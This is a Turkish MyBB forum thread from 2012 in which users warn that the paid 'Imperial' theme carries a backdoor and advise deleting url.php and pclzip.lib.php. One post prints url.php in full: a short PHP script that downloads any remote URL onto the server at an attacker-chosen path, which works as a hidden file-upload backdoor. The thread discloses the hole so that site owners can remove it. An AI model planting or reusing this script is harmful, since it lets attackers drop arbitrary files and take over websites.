+- MyBB Depo Forum (https://mybbdepo.com)
+-- Forum: MyBBDepo (https://mybbdepo.com/mybbdepo-forumu)
+--- Forum: MyBBDepo Hakkında (https://mybbdepo.com/mybbdepo-hakkinda-forumu)
+---- Forum: Duyurular (https://mybbdepo.com/duyurular-forumu)
+---- Konu Başlığı: İmperial Teması için Önemli Güvenlik Duyurusu..! (/imperial-temasi-icin-onemli-guvenlik-duyurusu-konusu.html)
Cvp: İmperial Teması için Önemli Güvenlik Duyurusu..! - Paylas - 01-09-2012
(01-09-2012, Saat:15:14)exii Adlı Kullanıcıdan Alıntı: abi ben bu temayı paralı aldım ve kurdum açık varmış bu açıktan kurtulmanın bir yolu yokmu para vermesem başka tema yüklerdim ama para verdim aldım.
Tema yapımcısına git durumu söyle
İmperial Teması için Önemli Güvenlik Duyurusu..! - xpserkan - 01-09-2012
Temadaki açığı ortadan kaldırmak için aşağıda adını vermiş olduğum dosyaları temanın grafik/resim klasöründe bulup silin arkadaşlar..
PHP Kod:
/tema klasörü/url.php
/tema klasörü/pclzip.lib.php
Cvp: İmperial Teması için Önemli Güvenlik Duyurusu..! - Paylas - 01-09-2012
(01-09-2012, Saat:16:11)xpserkan Adlı Kullanıcıdan Alıntı: Temadaki açığı ortadan kaldırmak için aşağıda adını vermiş olduğum dosyaları temanın grafik/resim klasöründe bulup silin arkadaşlar..
PHP Kod:
/tema klasörü/url.php
/tema klasörü/pclzip.lib.php
Hocam temanın bazı resim dosyaları rar içinde . tahminimce /tema klasörü/pclzip.lib.php bu radan çıkarıp okunmasını sağlayan bir yazılım.
İmperial Teması için Önemli Güvenlik Duyurusu..! - xpserkan - 01-09-2012
En sağlamı hiç kullanmamak olacaktır..!
İmperial Teması için Önemli Güvenlik Duyurusu..! - Paylas - 01-09-2012
/tema klasörü/url.php
yeterli olacaktır sanırım.
Cvp: İmperial Teması için Önemli Güvenlik Duyurusu..! - eXiGent - 01-09-2012
(01-09-2012, Saat:16:15)Paylas Adlı Kullanıcıdan Alıntı:(01-09-2012, Saat:16:11)xpserkan Adlı Kullanıcıdan Alıntı: Temadaki açığı ortadan kaldırmak için aşağıda adını vermiş olduğum dosyaları temanın grafik/resim klasöründe bulup silin arkadaşlar..
PHP Kod:
/tema klasörü/url.php
/tema klasörü/pclzip.lib.php
Hocam temanın bazı resim dosyaları rar içinde . tahminimce /tema klasörü/pclzip.lib.php bu radan çıkarıp okunmasını sağlayan bir yazılım.
evet bu pclzip.lib.php böyle birşey olabilirmi serkan abi ne dersin?
İmperial Teması için Önemli Güvenlik Duyurusu..! - ReDMaD - 01-09-2012
url.php iceri bu, php kodlarindan anlayan bunu hemen cözer diye düsünüyorum.
Kod:
<?php
if ($_GET[xfer]) {
if ($_POST[from] == "") {
print "You forgot to enter a url.";
} else {
copy("$_POST[from]", "$_POST[to]");
$size = round((filesize($_POST[to])/1000000), 3);
print "transfer complete.<br>
<a><a href=\"$_POST%5Bfrom%5D\">$_POST[from]</a><br>
<a><a href=\"$_POST%5Bto%5D\">$_POST[to]</a> : $size MB";
}
} else {
print "<form action=\"$PHP_SELF?xfer=true\" method=post>
from(http://): <input name=from><br>
to(filename): <input name=to><br>
<input type=submit value=\"transload\">";
}
?>pclzip.lib.php'de
Kod:
// PhpConcept Library - Zip Module 2.6
// --------------------------------------------------------------------------------
// License GNU/LGPL - Vincent Blavet - March 2006
// http://www.phpconcept.net
// --------------------------------------------------------------------------------
//
// Presentation :
// PclZip is a PHP library that manage ZIP archives.
// So far tests show that archives generated by PclZip are readable by
// WinZip application and other tools.
//
// Description :
// See readme.txt and http://www.phpconcept.net
//
// Warning :
// This library and the associated files are non commercial, non professional
// work.
// It should not have unexpected results. However if any damage is caused by
// this software the author can not be responsible.
// The use of this software is at the risk of the user.
//Sonunda ne yaziyor dikkat edin.
İmperial Teması için Önemli Güvenlik Duyurusu..! - eXiGent - 01-09-2012
Hyper Olayı Çözmüş Bile
